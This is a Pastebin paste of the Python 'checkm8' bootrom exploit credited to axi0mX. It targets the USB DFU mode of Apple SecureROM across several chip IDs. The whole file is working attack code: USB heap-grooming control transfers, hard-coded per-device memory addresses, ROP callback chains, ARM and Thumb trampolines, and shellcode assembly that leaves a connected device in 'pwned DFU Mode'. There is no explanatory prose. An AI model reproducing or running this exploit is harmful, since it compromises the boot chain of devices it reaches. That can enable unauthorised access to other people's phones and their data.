Advertisement
Guest User

Checkm8

a guest
Feb 17th, 2020
415
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 23.51 KB | None | 0 0
  1. import array, ctypes, struct, sys, time
  2. import usb
  3. import dfu
  4.  
  5. # Must be global so garbage collector never frees it
  6. request = None
  7. transfer_ptr = None
  8. never_free_device = None
  9.  
  10. def libusb1_create_ctrl_transfer(device, request, timeout):
  11.   ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
  12.   assert ptr is not None
  13.  
  14.   transfer = ptr.contents
  15.   transfer.dev_handle = device._ctx.handle.handle
  16.   transfer.endpoint = 0 # EP0
  17.   transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
  18.   transfer.timeout = timeout
  19.   transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
  20.   transfer.length = len(request)
  21.   transfer.user_data = None
  22.   transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
  23.   transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER
  24.  
  25.   return ptr
  26.  
  27. def libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
  28.   if usb.backend.libusb1._lib is not device._ctx.backend.lib:
  29.     print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
  30.     sys.exit(1)
  31.  
  32.   global request, transfer_ptr, never_free_device
  33.   request_timeout = int(timeout) if timeout >= 1 else 0
  34.   start = time.time()
  35.   never_free_device = device
  36.   request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)
  37.   transfer_ptr = libusb1_create_ctrl_transfer(device, request, request_timeout)
  38.   assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0
  39.  
  40.   while time.time() - start < timeout / 1000.0:
  41.     pass
  42.  
  43.   # Prototype of libusb_cancel_transfer is missing from pyusb
  44.   usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]
  45.   assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0
  46.  
  47. def libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):
  48.   try:
  49.     device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)
  50.   except usb.core.USBError:
  51.     pass
  52.  
  53. def usb_rop_callbacks(address, func_gadget, callbacks):
  54.   data = ''
  55.   for i in range(0, len(callbacks), 5):
  56.     block1 = ''
  57.     block2 = ''
  58.     for j in range(5):
  59.       address += 0x10
  60.       if j == 4:
  61.         address += 0x50
  62.       if i + j < len(callbacks) - 1:
  63.         block1 += struct.pack('<2Q', func_gadget, address)
  64.         block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
  65.       elif i + j == len(callbacks) - 1:
  66.         block1 += struct.pack('<2Q', func_gadget, 0)
  67.         block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])
  68.       else:
  69.         block1 += struct.pack('<2Q', 0, 0)
  70.     data += block1 + block2
  71.   return data
  72.  
  73. # TODO: assert we are within limits
  74. def asm_arm64_branch(src, dest):
  75.   if src > dest:
  76.     value = 0x18000000 - (src - dest) / 4
  77.   else:
  78.     value = 0x14000000 + (dest - src) / 4
  79.   return struct.pack('<I', value)
  80.  
  81. # TODO: check if start offset % 4 would break it
  82. # LDR X7, [PC, #OFFSET]; BR X7
  83. def asm_arm64_x7_trampoline(dest):
  84.   return '47000058E0001FD6'.decode('hex') + struct.pack('<Q', dest)
  85.  
  86. # THUMB +0 [0xF000F8DF, ADDR]  LDR.W   PC, [PC]
  87. # THUMB +2 [0xF002F8DF, ADDR]  LDR.W   PC, [PC, #2]
  88. def asm_thumb_trampoline(src, dest):
  89.   assert src % 2 == 1 and dest % 2 == 1
  90.   if src % 4 == 1:
  91.     return struct.pack('<2I', 0xF000F8DF, dest)
  92.   else:
  93.     return struct.pack('<2I', 0xF002F8DF, dest)
  94.  
  95. def prepare_shellcode(name, constants=[]):
  96.   if name.endswith('_armv7'):
  97.     fmt = '<%sI'
  98.     size = 4
  99.   elif name.endswith('_arm64'):
  100.     fmt = '<%sQ'
  101.     size = 8
  102.   else:
  103.     print 'ERROR: Shellcode name "%s" does not end with known architecture. Exiting.' % name
  104.     sys.exit(1)
  105.  
  106.   with open('bin/%s.bin' % name, 'rb') as f:
  107.     shellcode = f.read()
  108.  
  109.   # Shellcode has placeholder values for constants; check they match and replace with constants from config
  110.   placeholders_offset = len(shellcode) - size * len(constants)
  111.   for i in range(len(constants)):
  112.       offset = placeholders_offset + size * i
  113.       (value,) = struct.unpack(fmt % '1', shellcode[offset:offset + size])
  114.       assert value == 0xBAD00001 + i
  115.  
  116.   return shellcode[:placeholders_offset] + struct.pack(fmt % len(constants), *constants)
  117.  
  118. def stall(device):   libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)
  119. def leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)
  120. def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
  121.  
  122. def usb_req_stall(device):   libusb1_no_error_ctrl_transfer(device,  0x2, 3,   0x0,  0x80,  0x0, 10)
  123. def usb_req_leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40,  1)
  124. def usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41,  1)
  125.  
  126. class DeviceConfig:
  127.   def __init__(self, version, cpid, large_leak, overwrite, hole, leak):
  128.     assert len(overwrite) <= 0x800
  129.     self.version    = version
  130.     self.cpid       = cpid
  131.     self.large_leak = large_leak
  132.     self.overwrite  = overwrite
  133.     self.hole       = hole
  134.     self.leak       = leak
  135.  
  136. PAYLOAD_OFFSET_ARMV7 = 384
  137. PAYLOAD_SIZE_ARMV7   = 320
  138. PAYLOAD_OFFSET_ARM64 = 384
  139. PAYLOAD_SIZE_ARM64   = 576
  140.  
  141. def payload(cpid):
  142.   if cpid == 0x8947:
  143.     constants_usb_s5l8947x = [
  144.                 0x34000000, # 1 - LOAD_ADDRESS
  145.                 0x65786563, # 2 - EXEC_MAGIC
  146.                 0x646F6E65, # 3 - DONE_MAGIC
  147.                 0x6D656D63, # 4 - MEMC_MAGIC
  148.                 0x6D656D73, # 5 - MEMS_MAGIC
  149.                   0x79EC+1, # 6 - USB_CORE_DO_IO
  150.     ]
  151.     constants_checkm8_s5l8947x = [
  152.                 0x3402D87C, # 1 - gUSBDescriptors
  153.                 0x3402DDF8, # 2 - gUSBSerialNumber
  154.                   0x72A8+1, # 3 - usb_create_string_descriptor
  155.                 0x3402C2DA, # 4 - gUSBSRNMStringDescriptor
  156.                 0x34039800, # 5 - PAYLOAD_DEST
  157.       PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
  158.         PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
  159.                 0x3402D92C, # 8 - PAYLOAD_PTR
  160.     ]
  161.     s5l8947x_handler = asm_thumb_trampoline(0x34039800+1, 0x7BC8+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8947x)[8:]
  162.     s5l8947x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8947x)
  163.     assert len(s5l8947x_shellcode) <= PAYLOAD_OFFSET_ARMV7
  164.     assert len(s5l8947x_handler) <= PAYLOAD_SIZE_ARMV7
  165.     return s5l8947x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8947x_shellcode)) + s5l8947x_handler
  166.   if cpid == 0x8950:
  167.     constants_usb_s5l8950x = [
  168.                 0x10000000, # 1 - LOAD_ADDRESS
  169.                 0x65786563, # 2 - EXEC_MAGIC
  170.                 0x646F6E65, # 3 - DONE_MAGIC
  171.                 0x6D656D63, # 4 - MEMC_MAGIC
  172.                 0x6D656D73, # 5 - MEMS_MAGIC
  173.                   0x7620+1, # 6 - USB_CORE_DO_IO
  174.     ]
  175.     constants_checkm8_s5l8950x = [
  176.                 0x10061988, # 1 - gUSBDescriptors
  177.                 0x10061F80, # 2 - gUSBSerialNumber
  178.                   0x7C54+1, # 3 - usb_create_string_descriptor
  179.                 0x100600D8, # 4 - gUSBSRNMStringDescriptor
  180.                 0x10079800, # 5 - PAYLOAD_DEST
  181.       PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
  182.         PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
  183.                 0x10061A24, # 8 - PAYLOAD_PTR
  184.     ]
  185.     s5l8950x_handler   = asm_thumb_trampoline(0x10079800+1, 0x8160+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8950x)[8:]
  186.     s5l8950x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8950x)
  187.     assert len(s5l8950x_shellcode) <= PAYLOAD_OFFSET_ARMV7
  188.     assert len(s5l8950x_handler) <= PAYLOAD_SIZE_ARMV7
  189.     return s5l8950x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8950x_shellcode)) + s5l8950x_handler
  190.   if cpid == 0x8955:
  191.     constants_usb_s5l8955x = [
  192.                 0x10000000, # 1 - LOAD_ADDRESS
  193.                 0x65786563, # 2 - EXEC_MAGIC
  194.                 0x646F6E65, # 3 - DONE_MAGIC
  195.                 0x6D656D63, # 4 - MEMC_MAGIC
  196.                 0x6D656D73, # 5 - MEMS_MAGIC
  197.                   0x7660+1, # 6 - USB_CORE_DO_IO
  198.     ]
  199.     constants_checkm8_s5l8955x = [
  200.                 0x10061988, # 1 - gUSBDescriptors
  201.                 0x10061F80, # 2 - gUSBSerialNumber
  202.                   0x7C94+1, # 3 - usb_create_string_descriptor
  203.                 0x100600D8, # 4 - gUSBSRNMStringDescriptor
  204.                 0x10079800, # 5 - PAYLOAD_DEST
  205.       PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
  206.         PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
  207.                 0x10061A24, # 8 - PAYLOAD_PTR
  208.     ]
  209.     s5l8955x_handler   = asm_thumb_trampoline(0x10079800+1, 0x81A0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8955x)[8:]
  210.     s5l8955x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8955x)
  211.     assert len(s5l8955x_shellcode) <= PAYLOAD_OFFSET_ARMV7
  212.     assert len(s5l8955x_handler) <= PAYLOAD_SIZE_ARMV7
  213.     return s5l8955x_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8955x_shellcode)) + s5l8955x_handler
  214.   if cpid == 0x8960:
  215.     constants_usb_s5l8960x = [
  216.                0x180380000, # 1 - LOAD_ADDRESS
  217.         0x6578656365786563, # 2 - EXEC_MAGIC
  218.         0x646F6E65646F6E65, # 3 - DONE_MAGIC
  219.         0x6D656D636D656D63, # 4 - MEMC_MAGIC
  220.         0x6D656D736D656D73, # 5 - MEMS_MAGIC
  221.                0x10000CC78, # 6 - USB_CORE_DO_IO
  222.     ]
  223.     constants_checkm8_s5l8960x = [
  224.                0x180086B58, # 1 - gUSBDescriptors
  225.                0x180086CDC, # 2 - gUSBSerialNumber
  226.                0x10000BFEC, # 3 - usb_create_string_descriptor
  227.                0x180080562, # 4 - gUSBSRNMStringDescriptor
  228.                0x18037FC00, # 5 - PAYLOAD_DEST
  229.       PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
  230.         PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
  231.                0x180086C70, # 8 - PAYLOAD_PTR
  232.     ]
  233.     s5l8960x_handler   = asm_arm64_x7_trampoline(0x10000CFB4) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_s5l8960x)[4:]
  234.     s5l8960x_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_s5l8960x)
  235.     assert len(s5l8960x_shellcode) <= PAYLOAD_OFFSET_ARM64
  236.     assert len(s5l8960x_handler) <= PAYLOAD_SIZE_ARM64
  237.     return s5l8960x_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(s5l8960x_shellcode)) + s5l8960x_handler
  238.   if cpid == 0x8002:
  239.     constants_usb_t8002 = [
  240.                 0x48818000, # 1 - LOAD_ADDRESS
  241.                 0x65786563, # 2 - EXEC_MAGIC
  242.                 0x646F6E65, # 3 - DONE_MAGIC
  243.                 0x6D656D63, # 4 - MEMC_MAGIC
  244.                 0x6D656D73, # 5 - MEMS_MAGIC
  245.                   0x9410+1, # 6 - USB_CORE_DO_IO
  246.     ]
  247.     constants_checkm8_t8002 = [
  248.                 0x4880629C, # 1 - gUSBDescriptors
  249.                 0x48802AB8, # 2 - gUSBSerialNumber
  250.                   0x8CA4+1, # 3 - usb_create_string_descriptor
  251.                 0x4880037A, # 4 - gUSBSRNMStringDescriptor
  252.                 0x48806E00, # 5 - PAYLOAD_DEST
  253.       PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
  254.         PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
  255.                 0x48806344, # 8 - PAYLOAD_PTR
  256.     ]
  257.     t8002_handler = asm_thumb_trampoline(0x48806E00+1, 0x95F0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8002)[8:]
  258.     t8002_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8002)
  259.     assert len(t8002_shellcode) <= PAYLOAD_OFFSET_ARMV7
  260.     assert len(t8002_handler) <= PAYLOAD_SIZE_ARMV7
  261.     return t8002_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8002_shellcode)) + t8002_handler
  262.   if cpid == 0x8004:
  263.     constants_usb_t8004 = [
  264.                 0x48818000, # 1 - LOAD_ADDRESS
  265.                 0x65786563, # 2 - EXEC_MAGIC
  266.                 0x646F6E65, # 3 - DONE_MAGIC
  267.                 0x6D656D63, # 4 - MEMC_MAGIC
  268.                 0x6D656D73, # 5 - MEMS_MAGIC
  269.                   0x85A0+1, # 6 - USB_CORE_DO_IO
  270.     ]
  271.     constants_checkm8_t8004 = [
  272.                 0x488062DC, # 1 - gUSBDescriptors
  273.                 0x48802AE8, # 2 - gUSBSerialNumber
  274.                   0x7E34+1, # 3 - usb_create_string_descriptor
  275.                 0x488003CA, # 4 - gUSBSRNMStringDescriptor
  276.                 0x48806E00, # 5 - PAYLOAD_DEST
  277.       PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET
  278.         PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE
  279.                 0x48806384, # 8 - PAYLOAD_PTR
  280.     ]
  281.     t8004_handler = asm_thumb_trampoline(0x48806E00+1, 0x877C+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8004)[8:]    
  282.     t8004_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8004)
  283.     assert len(t8004_shellcode) <= PAYLOAD_OFFSET_ARMV7
  284.     assert len(t8004_handler) <= PAYLOAD_SIZE_ARMV7
  285.     return t8004_shellcode + '\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8004_shellcode)) + t8004_handler
  286.   if cpid == 0x8010:
  287.     constants_usb_t8010 = [
  288.                0x1800B0000, # 1 - LOAD_ADDRESS
  289.         0x6578656365786563, # 2 - EXEC_MAGIC
  290.         0x646F6E65646F6E65, # 3 - DONE_MAGIC
  291.         0x6D656D636D656D63, # 4 - MEMC_MAGIC
  292.         0x6D656D736D656D73, # 5 - MEMS_MAGIC
  293.                0x10000DC98, # 6 - USB_CORE_DO_IO
  294.     ]
  295.     constants_checkm8_t8010 = [
  296.                0x180088A30, # 1 - gUSBDescriptors
  297.                0x180083CF8, # 2 - gUSBSerialNumber
  298.                0x10000D150, # 3 - usb_create_string_descriptor
  299.                0x1800805DA, # 4 - gUSBSRNMStringDescriptor
  300.                0x1800AFC00, # 5 - PAYLOAD_DEST
  301.       PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
  302.         PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
  303.                0x180088B48, # 8 - PAYLOAD_PTR
  304.     ]
  305.     t8010_func_gadget              = 0x10000CC4C
  306.     t8010_enter_critical_section   = 0x10000A4B8
  307.     t8010_exit_critical_section    = 0x10000A514
  308.     t8010_dc_civac                 = 0x10000046C
  309.     t8010_write_ttbr0              = 0x1000003E4
  310.     t8010_tlbi                     = 0x100000434
  311.     t8010_dmb                      = 0x100000478
  312.     t8010_handle_interface_request = 0x10000DFB8
  313.     t8010_callbacks = [
  314.       (t8010_dc_civac, 0x1800B0600),
  315.       (t8010_dmb, 0),
  316.       (t8010_enter_critical_section, 0),
  317.       (t8010_write_ttbr0, 0x1800B0000),
  318.       (t8010_tlbi, 0),
  319.       (0x1820B0610, 0),
  320.       (t8010_write_ttbr0, 0x1800A0000),
  321.       (t8010_tlbi, 0),
  322.       (t8010_exit_critical_section, 0),
  323.       (0x1800B0000, 0),
  324.     ]
  325.     t8010_handler = asm_arm64_x7_trampoline(t8010_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8010)[4:]
  326.     t8010_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8010)
  327.     assert len(t8010_shellcode) <= PAYLOAD_OFFSET_ARM64
  328.     assert len(t8010_handler) <= PAYLOAD_SIZE_ARM64
  329.     t8010_shellcode = t8010_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8010_shellcode)) + t8010_handler
  330.     assert len(t8010_shellcode) <= 0x400
  331.     return struct.pack('<1024sQ504x2Q496s32x', t8010_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)
  332.   if cpid == 0x8011:
  333.     constants_usb_t8011 = [
  334.                0x1800B0000, # 1 - LOAD_ADDRESS
  335.         0x6578656365786563, # 2 - EXEC_MAGIC
  336.         0x646F6E65646F6E65, # 3 - DONE_MAGIC
  337.         0x6D656D636D656D63, # 4 - MEMC_MAGIC
  338.         0x6D656D736D656D73, # 5 - MEMS_MAGIC
  339.                0x10000DD64, # 6 - USB_CORE_DO_IO
  340.     ]
  341.     constants_checkm8_t8011 = [
  342.                0x180088948, # 1 - gUSBDescriptors
  343.                0x180083D28, # 2 - gUSBSerialNumber
  344.                0x10000D234, # 3 - usb_create_string_descriptor
  345.                0x18008062A, # 4 - gUSBSRNMStringDescriptor
  346.                0x1800AFC00, # 5 - PAYLOAD_DEST
  347.       PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
  348.         PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
  349.                0x180088A58, # 8 - PAYLOAD_PTR
  350.     ]
  351.     t8011_func_gadget              = 0x10000CCEC
  352.     t8011_dc_civac                 = 0x10000047C
  353.     t8011_write_ttbr0              = 0x1000003F4
  354.     t8011_tlbi                     = 0x100000444
  355.     t8011_dmb                      = 0x100000488
  356.     t8011_handle_interface_request = 0x10000E08C
  357.     t8011_callbacks = [
  358.       (t8011_dc_civac, 0x1800B0600),
  359.       (t8011_dc_civac, 0x1800B0000),
  360.       (t8011_dmb, 0),
  361.       (t8011_write_ttbr0, 0x1800B0000),
  362.       (t8011_tlbi, 0),
  363.       (0x1820B0610, 0),
  364.       (t8011_write_ttbr0, 0x1800A0000),
  365.       (t8011_tlbi, 0),
  366.       (0x1800B0000, 0),
  367.     ]
  368.  
  369.     t8011_handler   = asm_arm64_x7_trampoline(t8011_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8011)[4:]
  370.     t8011_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8011)
  371.     assert len(t8011_shellcode) <= PAYLOAD_OFFSET_ARM64
  372.     assert len(t8011_handler) <= PAYLOAD_SIZE_ARM64
  373.     t8011_shellcode = t8011_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8011_shellcode)) + t8011_handler
  374.     assert len(t8011_shellcode) <= 0x400
  375.     return struct.pack('<1024sQ504x2Q496s32x', t8011_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8011_func_gadget, t8011_callbacks)
  376.   if cpid == 0x8015:
  377.     constants_usb_t8015 = [
  378.                0x18001C000, # 1 - LOAD_ADDRESS
  379.         0x6578656365786563, # 2 - EXEC_MAGIC
  380.         0x646F6E65646F6E65, # 3 - DONE_MAGIC
  381.         0x6D656D636D656D63, # 4 - MEMC_MAGIC
  382.         0x6D656D736D656D73, # 5 - MEMS_MAGIC
  383.                0x10000B9A8, # 6 - USB_CORE_DO_IO
  384.     ]
  385.     constants_checkm8_t8015 = [
  386.                0x180008528, # 1 - gUSBDescriptors
  387.                0x180003A78, # 2 - gUSBSerialNumber
  388.                0x10000AE80, # 3 - usb_create_string_descriptor
  389.                0x1800008FA, # 4 - gUSBSRNMStringDescriptor
  390.                0x18001BC00, # 5 - PAYLOAD_DEST
  391.       PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
  392.         PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
  393.                0x180008638, # 8 - PAYLOAD_PTR
  394.     ]
  395.     t8015_load_write_gadget        = 0x10000945C
  396.     t8015_write_sctlr_gadget       = 0x1000003EC
  397.     t8015_func_gadget              = 0x10000A9AC
  398.     t8015_write_ttbr0              = 0x10000045C
  399.     t8015_tlbi                     = 0x1000004AC
  400.     t8015_dc_civac                 = 0x1000004D0
  401.     t8015_dmb                      = 0x1000004F0
  402.     t8015_handle_interface_request = 0x10000BCCC
  403.     t8015_callbacks = [
  404.       (t8015_dc_civac, 0x18001C800),
  405.       (t8015_dc_civac, 0x18001C840),
  406.       (t8015_dc_civac, 0x18001C880),
  407.       (t8015_dmb, 0),
  408.       (t8015_write_sctlr_gadget, 0x100D),
  409.       (t8015_load_write_gadget, 0x18001C000),
  410.       (t8015_load_write_gadget, 0x18001C010),
  411.       (t8015_write_ttbr0, 0x180020000),
  412.       (t8015_tlbi, 0),
  413.       (t8015_load_write_gadget, 0x18001C020),
  414.       (t8015_write_ttbr0, 0x18000C000),
  415.       (t8015_tlbi, 0),
  416.       (0x18001C800, 0),
  417.     ]
  418.     t8015_callback_data = usb_rop_callbacks(0x18001C020, t8015_func_gadget, t8015_callbacks)
  419.     t8015_handler = asm_arm64_x7_trampoline(t8015_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8015)[4:]
  420.     t8015_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8015)
  421.     assert len(t8015_shellcode) <= PAYLOAD_OFFSET_ARM64
  422.     assert len(t8015_handler) <= PAYLOAD_SIZE_ARM64
  423.     t8015_shellcode = t8015_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8015_shellcode)) + t8015_handler
  424.     return struct.pack('<6Q16x448s1536x1024s', 0x180020400-8, 0x1000006A5, 0x180020600-8, 0x180000625, 0x18000C600-8, 0x180000625, t8015_callback_data, t8015_shellcode)
  425.  
  426. def all_exploit_configs():
  427.   t8010_nop_gadget = 0x10000CC6C
  428.   t8011_nop_gadget = 0x10000CD0C
  429.   t8015_nop_gadget = 0x10000A9C4
  430.  
  431.   s5l8947x_overwrite = '\0' * 0x660 + struct.pack('<20xI4x', 0x34000000)
  432.   s5l895xx_overwrite = '\0' * 0x640 + struct.pack('<20xI4x', 0x10000000)
  433.   t800x_overwrite    = '\0' * 0x5C0 + struct.pack('<20xI4x', 0x48818000)
  434.   s5l8960x_overwrite = '\0' * 0x580 + struct.pack('<32xQ8x', 0x180380000)
  435.   t8010_overwrite    = '\0' * 0x580 + struct.pack('<32x2Q16x32x2QI',    t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef)
  436.   t8011_overwrite    = '\0' * 0x500 + struct.pack('<32x2Q16x32x2QI',    t8011_nop_gadget, 0x1800B0800, t8011_nop_gadget, 0x1800B0800, 0xbeefbeef)
  437.   t8015_overwrite    = '\0' * 0x500 + struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef)
  438.  
  439.   return [
  440.     DeviceConfig('iBoot-1458.2',          0x8947,  626, s5l8947x_overwrite, None, None), # S5L8947 (DFU loop)     1.97 seconds
  441.     DeviceConfig('iBoot-1145.3'  ,        0x8950,  659, s5l895xx_overwrite, None, None), # S5L8950 (buttons)      2.30 seconds
  442.     DeviceConfig('iBoot-1145.3.3',        0x8955,  659, s5l895xx_overwrite, None, None), # S5L8955 (buttons)      2.30 seconds
  443.     DeviceConfig('iBoot-1704.10',         0x8960, 7936, s5l8960x_overwrite, None, None), # S5L8960 (buttons)     13.97 seconds
  444.     DeviceConfig('iBoot-2651.0.0.1.31',   0x8002, None,    t800x_overwrite,    5,    1), # T8002 (DFU loop)  NEW: 1.27 seconds
  445.     DeviceConfig('iBoot-2651.0.0.3.3',    0x8004, None,    t800x_overwrite,    5,    1), # T8004 (buttons)   NEW: 1.06 seconds
  446.     DeviceConfig('iBoot-2696.0.0.1.33',   0x8010, None,    t8010_overwrite,    5,    1), # T8010 (buttons)   NEW: 0.68 seconds
  447.     DeviceConfig('iBoot-3135.0.0.2.3',    0x8011, None,    t8011_overwrite,    6,    1), # T8011 (buttons)   NEW: 0.87 seconds
  448.     DeviceConfig('iBoot-3332.0.0.1.23',   0x8015, None,    t8015_overwrite,    6,    1), # T8015 (DFU loop)  NEW: 0.66 seconds
  449.   ]
  450.  
  451. def exploit_config(serial_number):
  452.   for config in all_exploit_configs():
  453.     if 'SRTG:[%s]' % config.version in serial_number:
  454.       return payload(config.cpid), config
  455.   for config in all_exploit_configs():
  456.     if 'CPID:%s' % config.cpid in serial_number:
  457.       print 'ERROR: CPID is compatible, but serial number string does not match.'
  458.       print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
  459.       sys.exit(1)
  460.   print 'ERROR: This is not a compatible device. Exiting.'
  461.   sys.exit(1)
  462.  
  463. def exploit():
  464.   print '*** checkm8 exploit by axi0mX ***'
  465.  
  466.   device = dfu.acquire_device()
  467.   start = time.time()
  468.   print 'Found:', device.serial_number
  469.   if 'PWND:[' in device.serial_number:
  470.     print 'Device is already in pwned DFU Mode. Not executing exploit.'
  471.     return
  472.   payload, config = exploit_config(device.serial_number)
  473.  
  474.   if config.large_leak is not None:
  475.     usb_req_stall(device)
  476.     for i in range(config.large_leak):
  477.       usb_req_leak(device)
  478.     usb_req_no_leak(device)
  479.   else:
  480.     stall(device)
  481.     for i in range(config.hole):
  482.       no_leak(device)
  483.     usb_req_leak(device)
  484.     no_leak(device)
  485.   dfu.usb_reset(device)
  486.   dfu.release_device(device)
  487.  
  488.   device = dfu.acquire_device()
  489.   device.serial_number
  490.   libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
  491.   libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
  492.   dfu.release_device(device)
  493.  
  494.   time.sleep(0.5)
  495.  
  496.   device = dfu.acquire_device()
  497.   usb_req_stall(device)
  498.   if config.large_leak is not None:
  499.     usb_req_leak(device)
  500.   else:
  501.     for i in range(config.leak):
  502.       usb_req_leak(device)
  503.   libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
  504.   for i in range(0, len(payload), 0x800):
  505.     libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
  506.   dfu.usb_reset(device)
  507.   dfu.release_device(device)
  508.  
  509.   device = dfu.acquire_device()
  510.   if 'PWND:[checkm8]' not in device.serial_number:
  511.     print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
  512.     sys.exit(1)
  513.   print 'Device is now in pwned DFU Mode.'
  514.   print '(%0.2f seconds)' % (time.time() - start)
  515.   dfu.release_device(device)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement